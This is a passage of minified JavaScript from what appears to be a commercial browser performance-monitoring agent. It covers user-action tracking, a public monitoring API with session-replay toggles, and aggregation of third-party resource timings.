ob.trigger]),zc.push(["tvm",ce(ob)]))}Hc.call(Tb,pb,zc);b&&!hc("ntd")&&pb.push(["xrt",this.He().join("")]);"_load_"===r&&pb.push(["lr",document.referrer]);"0"!==zb&&pb.push(["bg",zb]);f&&d&&(pb.push(["xcs",f-l]),pb.push(["xce",d-l]));-1!==G&&pb.push(["rc",G]);ea&&pb.push(["rm",ea]);this.Hb&&this.stop<this.Hb.responseEnd&&this.ac&&pb.push(["sd",1]);return pb};a.prototype.$e=function(){return 3600001<=kc()-this.start?(this.Qb(!1),!0):!1};a.prototype.Xc=function(b){this.xhrUrl=gc(b)};a.prototype.hb=
function(){this.ma&&(this.ma=!1,this.ua(this.Pc||this.stop),this.Ca=this.ib=0,this.parent&&this.parent.hb())};a.prototype.Rc=function(b){this.hb();this.ua(Math.max(b.timestamp,this.stop));for(var d=this.parent;d;)d.ua(Math.max(d.stop,this.stop)),d=d.parent;Ob(this.sc,b)};a.prototype.Oe=function(){function b(f){void 0===f&&(f=-1);eb(d.gb,mf(d.gb,b));d.ua(Math.max(f,d.stop));d.Pb()||Cg()}var d=this;this.gb.push(b);return b};a.prototype.Ne=function(b,d){this.eb.push([b,d])};a.prototype.Ze=function(b){b>
this.stop&&3===this.status?this.Xa=-6:this.Xa=b};a.prototype.Ye=function(b){b>this.stop&&3===this.status?this.jb=-6:this.jb=b};a.prototype.Ic=function(b){this.Ua+=b;var d=3===this.status;d&&(this.status=1);this.parent&&(d&&(this.Cb()||b++,this.parent.bb++),this.parent.Ic(b))};a.prototype.Cb=function(){return-1!==mf(Jm,this.type)};a.prototype.Ee=function(b){for(var d=this.subActions,f=d.length-1;0<=f;f--)if(d[f]===b){eb(d,f);b.parent=void 0;break}};return a}(),sl,vf=[],$e=(sl={},sl.dtAWF=function(a,
b,d,f,l,r){f&&!Ie(f)?(vf.push({xhrUrl:wa(rc(l||"")),G:f,Hf:r||""}),a=a.apply(b,d||[]),"g"===r?Zc(function(){for(var G=0;G<vf.length;G++)if(vf[G].G===f){eb(vf,G);break}},0):vf.pop()):a=a.apply(b,d||[]);return a},sl),cm,Qi=null,Pi=null,te=[],sd=!1,Re=void 0,xd=void 0,Qc,Jg,Ij=!1,nk=!1,ym=!1,Ri=1,rh=null,ok=!1,Dl=!1,Rk=!1,pj,mk=!1,Sk=!1,Wm=-1,Sf,Jj=!1,dm=document,Xm=/function\s*([\w\-$]+)?\s*\(/i,wi=0;setInterval(function(){0<wi&&wi--},3E4);var un=["javaLong","date","shortString","javaDouble"],Qn=function(){function a(b){this.G=
b;this.Pd=[];this.Cd=[]}a.prototype.Od=function(b,d,f){var l=this.Mf();b=Ta({type:b,name:Ga(d+"="+f,Tc("mpl")),start:kc(),Za:!0});qc(b,l);Vc();Ob(this.Pd,{key:d,value:f})};a.prototype.Dd=function(b,d,f){b=De(b,f);Ob(this.Cd,{key:d,reason:b});a.qb++};a.prototype.Mf=function(){return this.G};a.prototype.Ed=function(){return this.Pd};a.prototype.Ec=function(){return this.Cd};a.prototype.Lf=function(){return rj(this,a.qb)};a.qb=0;return a}(),vh={},id=function(){function a(b,d,f,l){this.Cc=[];this.Qd=
[];this.Gd={};this.Bd={};this.Nd={};this.Fd={};this.xd=0;Yh(this,b,d,f,l)}a.prototype.Od=function(b,d,f){var l={};switch(b){case "_uapl_":l=this.Gd;break;case "_uapdbl_":l=this.Fd;break;case "_uaps_":l=this.Nd;break;case "_uapdt_":l=this.Bd}l[d]=f;this.xd++;Ob(this.Qd,{key:d,value:f})};a.prototype.Dd=function(b,d,f){b=De(b,f);Ob(this.Cc,{key:d,reason:b});a.qb++};a.prototype.Qf=function(){return 0<this.xd};a.prototype.Ed=function(){return this.Qd};a.prototype.Ec=function(){return this.Cc};a.prototype.Nf=
function(){for(var b=[],d=0,f=this.Cc;d<f.length;d++)Ob(b,f[d].key);return b};a.Of=function(b){var d=[],f;for(f in b)if(Ra(b,f)&&b[f]){var l=b[f];Ob(d,f+","+("string"===typeof l?I(l):l))}return d.join(";")};a.qb=0;return a}(),rd=null,he=void 0,zn=["c","o","i","s","y"],Tn=[0,1,2,3],dj=function(){function a(){}a.prototype.setAutomaticActionDetection=function(b){vc(b,"boolean")?(1<arguments.length&&wc(),tc("saad"),Ne(b)):Rc()};a.prototype.setLoadEndManually=function(){0<arguments.length&&wc();tc("slem");
mk=!0};a.prototype.signalLoadEnd=function(){0<arguments.length&&wc();tc("sle");pe()};a.prototype.markAsErrorPage=function(b,d){if(!vc(b,"number")||!vc(d,"string"))return Rc(),!1;2<arguments.length&&wc();tc("maep");return ui(b,d)};a.prototype.markXHRFailed=function(b,d,f){if(!vc(b,"number")||!vc(d,"string")||f&&!vc(f,"number"))return Rc(),!1;3<arguments.length&&wc();tc("mxf");return Fd(b,d,Number(f)||-1)};a.prototype.sendSignal=function(b,d,f){Tf("method","sendSignal",'Use "sendBeacon" instead.  We will remove "sendSignal" in June 2022.');
vc(b,"boolean")&&vc(d,"boolean")&&vc(f,"boolean")?(3<arguments.length&&wc(),tc("ss"),Cf(b,d,f)):Rc()};a.prototype.sendBeacon=function(b,d,f){vc(b,"boolean")&&vc(d,"boolean")&&vc(f,"boolean")?(3<arguments.length&&wc(),tc("ss"),Cf(b,d,f)):Rc()};a.prototype.enterAction=function(b,d,f,l){if(!vc(b,"string")||!Me(d,"string")||l&&!vc(l,"string"))return Rc(),2;d&&Tf("parameter","actionType","This is not used anymore and will be removed in June 2022.");5<arguments.length&&wc();tc("ea");var r=f;if(r){if(!Number(r))return Rc(),
2;r=wh(r)}return ud(b,d,Number(r),!1,void 0,void 0,!0,String(l))};a.prototype.addEnterActionListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("aeal"),$f(b)):Rc()};a.prototype.removeEnterActionListener=function(b){if(Fc(b)){1<arguments.length&&wc();tc("real");var d=b.dtWF;d&&wb("ACTION_ENTERED",d)}else Rc()};a.prototype.leaveAction=function(b,d,f){if(vc(b,"number")&&Me(d,"number")&&Me(f,"number")){3<arguments.length&&wc();tc("la");var l=f;l&&(l=wh(l));var r=d;r&&(r=wh(r));We(b,r,l)}else Rc()};
a.prototype.addLeaveActionListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("alal"),qf(b)):Rc()};a.prototype.removeLeaveActionListener=function(b){if(Fc(b)){1<arguments.length&&wc();tc("rlal");var d=b.dtWF;d&&wb("ACTION_LEFT",d)}else Rc()};a.prototype.addActionProperties=function(b,d,f,l,r){!vc(b,"number")||d&&!vc(d,"object")||f&&!vc(f,"object")||l&&!vc(l,"object")||r&&!vc(r,"object")?Rc():(5<arguments.length&&wc(),tc("aap"),uh(b,d,f,l,r))};a.prototype.reportError=function(b,d){("object"!==
typeof b&&"string"!==typeof b||null===b?0:"object"===typeof b&&"message"in b||"string"===typeof b)&&Me(d,"number")?(2<arguments.length&&wc(),tc("re"),Uk(b,d,!1,"0")):Rc()};a.prototype.identifyUser=function(b){vc(b,"string")?(1<arguments.length&&wc(),tc("iu"),Oc()?Qh()&&fg("navigator.doNotTrack is enabled on the browser"):nd("rx_visittag",b,-1)):Rc()};a.prototype.startThirdParty=function(b,d){Tf("method","startThirdParty","Since modern browsers already provide resource timings, including for third parties, we will remove this function in June 2022.");
if(Oj(b,zn)&&vc(d,"string")){1<arguments.length&&wc();tc("statp");var f=mb.dT_;f&&f.tpih&&f.tpstr(b,d)}else Rc()};a.prototype.stopThirdParty=function(b,d,f,l){Tf("method","stopThirdParty","Since modern browsers already provide resource timings, including for third parties, we will remove this function in June 2022.");if(!vc(b,"string")||!vc(d,"boolean")||f&&!vc(f,"number")||l&&!vc(l,"number"))Rc();else{4<arguments.length&&wc();tc("stotp");var r=C();r&&r.tpih&&r.tpsto(b,d,Number(f),Number(l))}};a.prototype.addPageLeavingListener=
function(b){Fc(b)?(1<arguments.length&&wc(),tc("apll"),rb("PAGE_LEAVING",function(d){b(d.detail)})):Rc()};a.prototype.beginUserInput=function(b,d,f,l){if(!Pa(b)&&!vc(b,"string")||!vc(d,"string")||!Me(f,"string")||!Me(l,"number"))return Rc(),{};4<arguments.length&&wc();tc("bui");return Ub(b,d,f,l)};a.prototype.endUserInput=function(b){("object"!==typeof b||null===b?0:"object"===typeof b&&"name"in b&&"info"in b&&"title"in b)?(1<arguments.length&&wc(),tc("eui"),dd(b)):Rc()};a.prototype.enterXhrAction=
function(b,d,f){if(!vc(b,"string")||!Oj(d,Tn)&&f&&!vc(f,"string"))return Rc(),-1;2===d&&Tf("parameter","xmode 2","Use 1 instead. All subactions are visible.");3<arguments.length&&wc();tc("exa");return bf(b,d||void 0,String(f),!0)};a.prototype.leaveXhrAction=function(b,d){if(vc(b,"number")&&Me(d,"number")){2<arguments.length&&wc();tc("lxa");var f=d;f&&(f=wh(d));Ed(b,void 0,void 0,f)}else Rc()};a.prototype.enterXhrCallback=function(b){vc(b,"number")?(1<arguments.length&&wc(),tc("exc"),mg(b)):Rc()};
a.prototype.leaveXhrCallback=function(b){vc(b,"number")?(1<arguments.length&&wc(),tc("lxc"),kh(b)):Rc()};a.prototype.signalOnLoadStart=function(){0<arguments.length&&wc();tc("sols");Od()};a.prototype.incrementOnLoadEndMarkers=function(){0<arguments.length&&wc();tc("iolem");td()};a.prototype.signalOnLoadEnd=function(){0<arguments.length&&wc();tc("sole");Dc()};a.prototype.actionName=function(b,d){if(!vc(b,"string")||d&&!vc(d,"number"))return Rc(),2;2<arguments.length&&wc();tc("an");return"string"!==
typeof b?2:d&&"number"!==typeof d?3:Xe("an",b,Number(d))?0:1};a.prototype.endSession=function(){0<arguments.length&&wc();tc("es");Mj()};a.prototype.now=function(){0<arguments.length&&wc();tc("n");return kc()};a.prototype.enable=function(){0<arguments.length&&wc();tc("e");Ml()};a.prototype.disable=function(){0<arguments.length&&wc();tc("d");nl()};a.prototype.addVisitTimeoutListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("avtl"),Ud(b)):Rc()};a.prototype.enableSessionReplay=function(b){if(vc(b,
"boolean")){1<arguments.length&&wc();tc("esr");var d=mb.dT_;d&&d.srel&&d.srel(b)}else Rc()};a.prototype.disableSessionReplay=function(){0<arguments.length&&wc();tc("dsr");var b=mb.dT_;b&&b.srel&&b.srdl()};a.prototype.getAndEvaluateMetaData=function(){0<arguments.length&&wc();tc("gaemd");var b=mb.dT_;return b&&b.gEMD?b.gEMD():[]};a.prototype.enablePersistentValues=function(){0<arguments.length&&wc();tc("epv");Em()};a.prototype.disablePersistentValues=function(b){vc(b,"boolean")?(1<arguments.length&&
wc(),tc("dpv"),Mh(b)):Rc()};a.prototype.registerPreDiffMethod=function(b){if(Fc(b)){1<arguments.length&&wc();tc("rpdm");var d=mb.dT_;d&&d.srel&&Ue(d.srpdm,0)&&d.srpdm.push(b)}else Rc()};a.prototype.sendSessionProperties=function(b,d,f,l){if(Me(b,"object")&&Me(d,"object")&&Me(f,"object")&&Me(l,"object"))return 4<arguments.length&&wc(),tc("ssp"),Wk(b,d,f,l);Rc()};a.prototype.reportCustomError=function(b,d,f,l){if(vc(b,"string")&&vc(d,"string")&&Me(f,"string")&&(Me(l,"number")||Me(l,"boolean")))if(4<
arguments.length&&wc(),tc("rce"),b&&d){var r=[["type",b],["name",d]];f&&r.push(["hint",String(f)]);ag("_customerror_",r,l)}else Qh()&&fg("Key or value is missing but mandatory for 'reportCustomError' method!");else Rc()};a.prototype.enableManualPageDetection=function(){0<arguments.length&&wc();tc("emvd");B(3)};a.prototype.setPage=function(b){if(!("object"!==typeof b||null===b?0:"object"===typeof b&&"name"in b&&"group"in b))return Rc(),-1;1<arguments.length&&wc();tc("sp");return Nj(b,3)};return a}(),
Bm=[],uk=-1,sj,Cm={},Pj,Yk=!1,sk=!!mb.MutationObserver,$k=mb.MutationObserver?mb.MutationObserver:void 0,gg={},em={},Xi={},tk=[],cl={},il="".concat(1).concat(","),Ym=[],hl=[],Yi={},hm,Jl,di,jf={},Wj=null,zk=[],gi,yg=0,ei=0,fi,zg,jl=[],kl,Bk,eh,im,Zm,ll=[],Yj=0,$m=["click","mousedown","keydown","touchstart"],Lh=0,Ci=0;(function(a){var b,d,f,l;a=a||0>(null===(b=navigator.userAgent)||void 0===b?void 0:b.indexOf("RuxitSynthetic"));if(!mb.dT_||!mb.dT_.ica)null===(d=mb.console)||void 0===d?void 0:d.log("No initCode available, turning off asyncCore."),
mb.dT_&&(mb.dT_.di=2);else if("initialized"in mb.dT_&&mb.dT_.initialized)null===(f=mb.console)||void 0===f?void 0:f.log("Duplicate agent injection detected, turning off redundant asyncCore."),mb.dT_.di=1;else if(a&&!jm()){try{delete mb.dT_}catch(r){mb.dT_=void 0}null===(l=mb.console)||void 0===l?void 0:l.log("JsAgent asyncCore initialization failed!")}})(!1)})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(q,D){void 0===D&&(D=[]);var t=la.dT_;t=(null===t||void 0===t?0:t.iIO)?t.iIO:null;return!(null===t||void 0===t||!t(q,D))}function La(q){return ua&&ra(q,13)&&"navigation"!==q.entryType||ra(q,["_dtCl"])}function gb(){ca.gSig&&(ka=-1,Za=0,I=!0)}function db(q,D){var t=D.domain;if(!t)return q;var y=q.Fe[t];y||(y=[],q.Fe[t]=y,q.Cf.push(t));y.push(D);return q}
function Ea(q,D){q.count++;var t=Number(q.low);q.low=Math.min(isNaN(t)?Number.MAX_VALUE:t,D);q.high=Math.max(q.high,D);q.Vb=Math.round((q.Vb*(q.count-1)+D)/q.count)}function Ua(q,D){var t=D.Sa,y=D.Fb,Y=D.type,x=D.Wa,oa=D.wb;D=D.$a;var R=q[Y];R||(R={Wa:0,$a:0,$d:0,wb:0,ze:Pa(),je:Pa()},q[Y]=R);if(t.start&&t.stop){Y=R.je;var O=t.start;t=t.stop;var wa=V();Ea(Y,t-O);Y.Zb.add(O-wa,t-wa)}if(y.start&&y.stop){t=R.ze;Y=y.start;O=y.stop;y=y.duration;0>y&&(y=O-Y);if(0>y||3E5<y)y=0;Ea(t,y);t.Zb.add(Y,O)}R.Wa+=
Number(x);R.wb+=Number(oa);x||(R.$a+=Number(D),R.$d+=Number(!D));q.bc=Math.max(q.bc,R.ze.high,R.je.high);return q}function Pa(){return{Zb:new Cb,Vb:0,high:0,count:0,kj:[]}}function za(){var q=ca;return q&&!!q.gIA&&q.re_t}function ab(q,D){q=Math.max(q.Sa.duration,q.Fb.duration);D=Math.max(D.Sa.duration,D.Fb.duration);return q<D?1:q===D?0:-1}function ba(q){for(var D=[],t=1;t<arguments.length;t++)D[t-1]=arguments[t];for(t=0;t<D.length;t++)q.push(D[t]),t<D.length-1&&q.push("|")}function Z(q){for(var D=
[],t=1;t<arguments.length;t++)D[t-1]=arguments[t];for(t=0;t<D.length;t++)q.push(D[t]),q.push("|")}function Aa(q,D,t,y){var Y=q;0<ka&&q.length>ka&&(q.sort(function(Eb,Lb){return t[Lb].bc-t[Eb].bc}),Y=q.slice(0,ka));q=[];for(var x=V(),oa=0;oa<Y.length;oa++){var R=Y[oa],O=t[R];0<q.length&&ba(q,";");Z(q,Ab(R),"featureHash");var wa=0,Ga=q.length-2,Wa=O.i;Wa&&(Z(q,Wa),wa+=2);if(Wa=O.s)Z(q,Wa),wa+=4;if(Wa=O.c)Z(q,Wa),wa+=8;if(Wa=O.o)Z(q,Wa),wa+=16;if(O=O.y)Z(q,O),wa+=32;q.pop();q[Ga]=wa.toString(32);na(D[R],
q,x)}return 0>=q.length?"":aa("".concat(y,"-").concat(x,";").concat(q.join("")))}function na(q,D,t){var y=Math.min(q.length,Za);q.sort(ab);for(var Y=0;Y<y&&(q[Y].Sa.duration>=Oa||q[Y].Fb.duration>=Oa);Y++){var x=q[Y],oa=x.Sa,R=x.url,O=x.Wa,wa=x.$a,Ga=x.type,Wa=x.Td;x=x.Fb;ba(D,",");var Eb="";O||(Eb=wa?"i":"f");ba(D,Ga+Eb,oa.start?oa.start-t:0,oa.stop?oa.stop-t:0,Ab(Wa),ib(R));x.start&&ba(D,"",x.start,x.stop)}}function ta(q,D,t,y){if(za()){var Y=V();if(!q.length||0>=Y)t&&t("");else{for(Y=0;Y<q.length;Y++)Ma(q[Y]);
y=y||!t;t=t||function(){};q=yb(q,db,{Cf:[],Fe:{}});Ja(q.Fe,q.Cf,t,D,y)}}}function Ma(q){var D=q.Sa;!D.stop&&D.start&&("i"===q.type?(q.$a=!0,q.Wa=!1,D.stop=Va()):(q.Fb.start||(q.Wa=!0),D.stop=D.start));D.duration=D.stop?D.stop-D.start:D.duration}function Ja(q,D,t,y,Y){var x={};qa(D,function(oa){for(var R=yb(q[oa],Ua,{ik:{type:"",$a:"",Aj:{start:0,stop:0},Wj:{start:0,stop:0},Td:"",url:""},bc:0}),O={bc:R.bc},wa=0,Ga=bd;wa<Ga.length;wa++){var Wa=Ga[wa],Eb=R[Wa];if(Eb){var Lb=Wa,Nb=Eb.je,ac=Eb.ze,rc=Eb.Wa,
mc=Eb.$d,Oc=Eb.$a;Eb=Eb.wb;Eb="i"===Wa||"s"===Wa?[rc,mc,Oc,Eb,Nb.count,ac.count,Nb.Zb.dd(),Nb.Vb,Nb.count?Nb.low:"0",Nb.high,ac.Zb.dd(),ac.Vb,ac.count?ac.low:"0",ac.high].join("|"):"o"===Wa||"c"===Wa?[rc,mc,Oc,Eb,ac.Zb.dd(),ac.Vb,ac.low||"0",ac.high].join("|"):[rc,Nb.Zb.dd(),Nb.Vb,Nb.low||"0",Nb.high].join("|");O[Lb]=Eb}}x[oa]=O},void 0,function(){t(Aa(D,q,x,y))},!Y)}function fa(q,D,t,y){var Y=ca;Y.gIA&&!D&&W.dT_.las()&&(Y.gIA()&&!t?W.dT_.sMPS(1E3):(ta(W.dT_.oV(Ka),gc(),function(x){q.av(y,"3p",x,
!0)},!0),W.dT_.rBPSL(fa),Ka={}))}function S(q){-1<q.indexOf("ScriptResource.axd")?q="js":(q=q.substring(1+q.lastIndexOf("/")),0<q.indexOf("?")&&(q=q.split("?")[0]),0<q.indexOf("#")&&(q=q.split("#")[0]),q=0<q.indexOf(".")?q.substring(q.lastIndexOf(".")+1):"-");switch(q){case "js":return"s";case "gif":case "png":case "jpg":case "jpeg":case "ico":case "tiff":case "bmp":case "xbm":case "svg":return"i";case "css":return"c";default:return"o"}}function va(q){q=vb()+q.startTime;q-=V();return Math.round(q)}
function ja(q,D,t,y){var Y=q.resources;q=q.actionId;if(jb().op){for(var x=[],oa={},R=0;R<Y.length;R++){var O=Y[R];oa[O.name]||(x.push(O),oa[O.name]=!0)}Y=x}x=[];oa=0;for(R=Y;oa<R.length;oa++){O=x;var wa=O.push,Ga=R[oa],Wa=S(Ga.name.toLowerCase()),Eb=Ga,Lb=Eb.duration;!Lb&&La(Eb)&&(Lb=Eb.responseEnd-Eb.startTime);Eb=Lb?Math.round(Lb):0;Lb=va(Ga);var Nb=Ga;La(Nb)&&0<Nb.responseEnd?(Nb=vb()+Nb.responseEnd,Nb-=V(),Nb=Math.round(Nb)):Nb=Math.round(Va()-V());Eb={duration:Eb,start:Lb,stop:Nb};Lb=Ga.name;
Nb=nb(Ga.name);var ac=va(Ga)<=pa()?"_load_":"-",rc=0===Ga.responseEnd;var mc=Ga;mc=mc.failedResource?!1:nb(mc.name)===$a&&jb().ie?0!==mc.requestStart:0<mc.responseEnd;Ga=jb().ch?0!==Ga.domainLookupStart&&0===Ga.requestStart:nb(Ga.name)!==$a&&0===Ga.requestStart&&2>Ga.duration?!0:0>=Ga.responseEnd?!1:Ga.requestStart===Ga.fetchStart&&Ga.requestStart===Ga.responseStart&&Ga.responseStart!==Ga.responseEnd;wa.call(O,{type:Wa,Fb:Eb,Sa:{duration:0,start:0,stop:0},url:Lb,domain:Nb,Td:ac,$a:rc,Wa:mc,wb:Ga,
Rf:!1})}eb(D,q,x,Y,t,y)}function U(q,D,t,y){var Y=vb();if(!q.length||0>=Y)t("");else{var x=[];qa(q,function(oa){if(Ba&&x.length/2>=Ba)oa=!1;else{var R=oa.startTime,O;if(O=!(R<("iframe"===oa.initiatorType?1:0)))O=oa.actionId,O=!O||O===D;O&&(R=R?["b",Math.round(R)]:[],Hb(oa,R,vb()),x.push(Vb(oa.name),R.join("")));oa=!0}return oa},void 0,function(){t(aa("".concat(D||gc(),"-").concat(Math.round(Y),";").concat(x.join("|"))))},!y)}}function eb(q,D,t,y,Y,x){Ka={};U(y,D,function(oa){oa&&q.pg.push(oa);Y()},
x)}function L(q,D,t,y){var Y=ca;W.dT_.las()&&Y.gSig&&Y.re_r?(Y=pa(),!t&&(0>=Y||3E3>Va()-Y)?(W.dT_.sMPS(2E3),Y=!1):Y=!0):Y=!1;if(Y&&!D){D=ca;gb();D.gSig&&C(D.gSig(t),t);!Qb.length||W.dT_.last()+3E4<=Va()&&W.dT_.last()?(Qb=[],t=void 0):t=Qb.splice(0,1)[0];if(t)for(t=t.pg,D=0;D<t.length;D++)q.av(y,"rt",t[D],!0,D);Qb.length&&W.dT_.sMPS(100)}}function C(q,D){for(var t={pg:[],resourceSummaries:[]},y=q.length,Y=0,x=0;x<q.length;x++)ja(q[x],t,function(){Y++;Y===y&&(Qb.push(t),W.dT_.sMPS(0))},D)}function H(q,
D){var t=Va();Ka[D]||(q={type:q,Sa:{start:t,stop:0,duration:0},Fb:{start:0,stop:0,duration:0},url:D,domain:nb(D),Td:W.dT_.can()||"-",wb:!1,Wa:!1,$a:!1,Rf:!1},Ka[q.url]=q)}function Q(q,D,t,y){if(q=Ka[q])q.Sa.start=t||q.Sa.start,q.Sa.stop=y||Va(),q.Wa=D,D||(q.wb=!1,q.Rf=!0)}function ia(q){var D=nb(q),t=-1!==q.indexOf("chrome-extension://")||-1!==q.indexOf("chrome://")||-1!==q.indexOf("data:")||-1!==q.indexOf("javascript:")||-1!==q.indexOf("about:")||-1!==q.indexOf("res://");q=-1!==q.indexOf("://localhost/")||
-1!==q.indexOf("://localhost:")||D&&-1!==D.indexOf(".local",D.length-6);return I?!t:!t&&!q&&!!D&&D!==$a}var W="undefined"!==typeof window?window:self,la="undefined"!==typeof window?window:self,ua="function"===typeof PerformanceResourceTiming||"object"===typeof PerformanceResourceTiming,Ka={},Hb,ib,aa,qa,V,pa,Va,nb,lb,jb,Ab,gc,Vb,Ha,yb,vb,ca,Oa=500,Za=3,I=!0,ka=-1,Ba,$a,Cb=function(){function q(){this.head=null}q.prototype.add=function(D,t){if(!(D>t)){t={start:D,stop:t,next:null};var y=this.head,Y=
null;if(y){for(;y&&D>y.start;)Y=y,y=y.next;Y?(t.next=Y.next,Y.next=t):(t.next=this.head,this.head=t)}else this.head=t,t.next=null}};q.prototype.reduce=function(){for(var D=this.head;D&&D.next;){for(;D.next&&D.stop+1>=D.next.start;)D.stop<=D.next.stop&&(D.stop=D.next.stop),D.next=D.next.next;D=D.next}};q.prototype.dd=function(){this.reduce();var D=[];if(this.head){var t=this.head;do 0<D.length&&D.push("_"),D.push(t.start),D.push("_"),D.push(t.stop),t=t.next;while(t)}return D.join("")};return q}(),
bd=["c","o","i","s","y"],Qb=[],Zb;(function(q){var D,t;return(Zb=la.dT_)&&(null===(t=(D=W.dT_).ssmbi)||void 0===t?0:t.call(D,"2",q,!0))?(q=Zb,Hb=q.snt,ib=q.tpesc,aa=q.esc,qa=q.fE,V=q.lst,Va=q.nw,pa=q.gLAet,nb=q.gh,lb=q.loc,jb=q.gBI,Ab=q.aesc,gc=q.lAID,Vb=q.aur,Ha=q.stcv,yb=q.red,vb=q.gto,q=ca=la.dT_,D=W.dT_.scv("tp").split(","),t=D.length,3>t||5<t||(Oa=W.dT_.pn(D[0],10),Za=W.dT_.pn(D[2],10),4<=t&&(I=!!W.dT_.pn(D[3],10)),5<=t&&(ka=W.dT_.pn(D[4],10)),Ba=W.dT_.ncv("rtl"),q.syn&&(Ba=0,ka=-1,I=!0,Ha("rtp",
1),Ha("rtu",800)),$a=nb(lb())),W.dT_.st(gb,0),Ka={},W.dT_.aBPSL(fa),q=la.performance,0<((null===q||void 0===q?void 0:q.timeOrigin)||(null===q||void 0===q?void 0:q.timing.navigationStart))&&W.dT_.aBPSL(L),!0):!1})(!1)&&(Zb.tpih=ia,Zb.tpstr=H,Zb.tpsto=Q)})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(){La=Object.assign||function(u){for(var E,N=1,ha=arguments.length;N<ha;N++){E=arguments[N];for(var sa in E)Object.prototype.hasOwnProperty.call(E,sa)&&(u[sa]=E[sa])}return u};return La.apply(this,arguments)}function gb(u,E){void 0===E&&(E=[]);var N=oc.dT_;N=(null===N||void 0===N?0:N.iIO)?N.iIO:null;return!(null===N||void 0===
N||!N(u,E))}function db(u){return u&&"IFRAME"===u.nodeName}function Ea(u){return u&&"IMG"===u.nodeName}function Ua(u,E,N,ha){function sa(Ia){return Ia instanceof N?Ia:new N(function(bb){bb(Ia)})}return new (N||(N=ra))(function(Ia,bb){function cb(fc){try{Ib(ha.next(fc))}catch(Ec){bb(Ec)}}function Fb(fc){try{Ib(ha["throw"](fc))}catch(Ec){bb(Ec)}}function Ib(fc){fc.done?Ia(fc.value):sa(fc.value).then(cb,Fb)}Ib((ha=ha.apply(u,E||[])).next())})}function Pa(u,E){function N(Ib){return function(fc){return ha([Ib,
fc])}}function ha(Ib){if(Ia)throw new TypeError("Generator is already executing.");for(;sa;)try{if(Ia=1,bb&&(cb=Ib[0]&2?bb["return"]:Ib[0]?bb["throw"]||((cb=bb["return"])&&cb.call(bb),0):bb.next)&&!(cb=cb.call(bb,Ib[1])).done)return cb;if(bb=0,cb)Ib=[Ib[0]&2,cb.value];switch(Ib[0]){case 0:case 1:cb=Ib;break;case 4:return sa.label++,{value:Ib[1],done:!1};case 5:sa.label++;bb=Ib[1];Ib=[0];continue;case 7:Ib=sa.Ja.pop();sa.ia.pop();continue;default:if(!(cb=sa.ia,cb=0<cb.length&&cb[cb.length-1])&&(6===
Ib[0]||2===Ib[0])){sa=0;continue}if(3===Ib[0]&&(!cb||Ib[1]>cb[0]&&Ib[1]<cb[3]))sa.label=Ib[1];else if(6===Ib[0]&&sa.label<cb[1])sa.label=cb[1],cb=Ib;else if(cb&&sa.label<cb[2])sa.label=cb[2],sa.Ja.push(Ib);else{cb[2]&&sa.Ja.pop();sa.ia.pop();continue}}Ib=E.call(u,sa)}catch(fc){Ib=[6,fc],bb=0}finally{Ia=cb=0}if(Ib[0]&5)throw Ib[1];return{value:Ib[0]?Ib[1]:void 0,done:!0}}var sa={label:0,J:function(){if(cb[0]&1)throw cb[1];return cb[1]},ia:[],Ja:[]},Ia,bb,cb,Fb;return Fb={next:N(0),"throw":N(1),"return":N(2)},
"function"===typeof Symbol&&(Fb[Symbol.iterator]=function(){return this}),Fb}function za(u){return jd&&gb(u,13)&&"navigation"!==u.entryType||gb(u,["_dtCl"])}function ab(){return Se}function ba(u,E,N){if(!ke[N]){var ha=new Image;E={url:N,time:Na.dT_.nw(),element:ha,Tj:E};ta(ha,E,u);ha.src=N;ke[N]=ha}return ke[N]}function Z(u,E,N){var ha=Wc[E][N]||[];if(u.element){var sa=Na.dT_.aFI(ha,function(Ia){return Ia.element===u.element});0<=sa&&ha.splice(sa,1)}Aa(u,E,N)}function Aa(u,E,N){Wc[E][N]||(Wc[E][N]=
[]);Wc[E][N].push(u)}function na(u,E,N){E=Wc[E][N]||[];u=Na.dT_.aIOf(E,u);0<=u&&E.splice(u,1)}function ta(u,E,N){function ha(){na(E,2,N);Z(E,1,N);var Ia=ha;u.removeEventListener("load",sa);u.removeEventListener("error",Ia)}function sa(){na(E,2,N);var Ia=ha;u.removeEventListener("load",sa);u.removeEventListener("error",Ia)}Aa(E,2,N);u.addEventListener("load",sa);u.addEventListener("error",ha)}function Ma(){}function Ja(u){return 0<u.left+u.width&&u.left<va()&&0<u.top+u.height&&u.top<S()}function fa(u,
E,N){E=N||E.tagName||E.nodeName;return u&&0<u.width&&0<u.height&&Ja(u)&&"BODY"!==E}function S(){Rd||(Rd=oc.innerHeight||Bd.clientHeight);return Pd.bwsH||Rd}function va(){Xe||(Xe=oc.innerWidth||Bd.clientWidth);return Pd.bwsW||Xe}function ja(u){var E=va(),N=S();return{top:0,left:0,width:Math.max(0,Math.min(u.left+u.width,E))-Math.max(0,Math.min(u.left,E)),height:Math.max(0,Math.min(u.top+u.height,N))-Math.max(0,Math.min(u.top,N))}}function U(u,E,N){if(!N&&eb(u))return!0;u=N||qa(E);(E="hidden"===u.visibility||
"none"===u.display||"0"===u.opacity||"polygon(0px 0px, 0px 0px, 0px 0px, 0px 0px)"===u.clipPath)||(E=u.transform||"",u=!1,N=E.indexOf("("),0<N&&(E=E.substring(N+1,E.length-1).split(", "),u="0"===E[0],6===E.length?u=u||"0"===E[3]:16===E.length&&(u=u||"0"===E[5]||"0"===E[10])),E=u);return E}function eb(u){if(0<dc&&u.ue>=dc)return u.ve++,!0;u.ue++;return!1}function L(u){return Math.ceil(u.width*u.height)}function C(u,E,N,ha,sa,Ia){var bb;void 0===Ia&&(Ia="");try{if(!ha&&(ha=H(E,u.cb,sa),!fa(ha,E)))return null;
